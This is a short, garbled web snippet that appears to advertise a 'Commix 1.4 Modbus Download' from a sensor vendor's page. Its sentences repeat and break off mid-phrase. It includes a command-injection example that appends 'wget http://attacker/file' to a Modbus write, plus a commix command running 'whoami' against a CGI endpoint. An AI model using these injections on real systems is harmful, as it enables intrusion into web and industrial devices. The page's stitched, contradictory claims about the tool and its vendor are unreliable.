The maintainers have integrated Modbus support into the main branch as of version 1.4. Run:
: The official BWSENSING Download Page offers Commix 1.4 (released 2020-10-29) as part of their auxiliary software suite for sensors. Commix 1.4 Modbus Download
Example manual injection via Modbus write (write ; wget http://attacker/file -O /tmp/out ): The maintainers have integrated Modbus support into the
python commix.py --url="http://10.0.0.50/cgi-bin/status.cgi?tank=high" --data="cmd=ping" --os-cmd="whoami" Commix 1.4 Modbus Download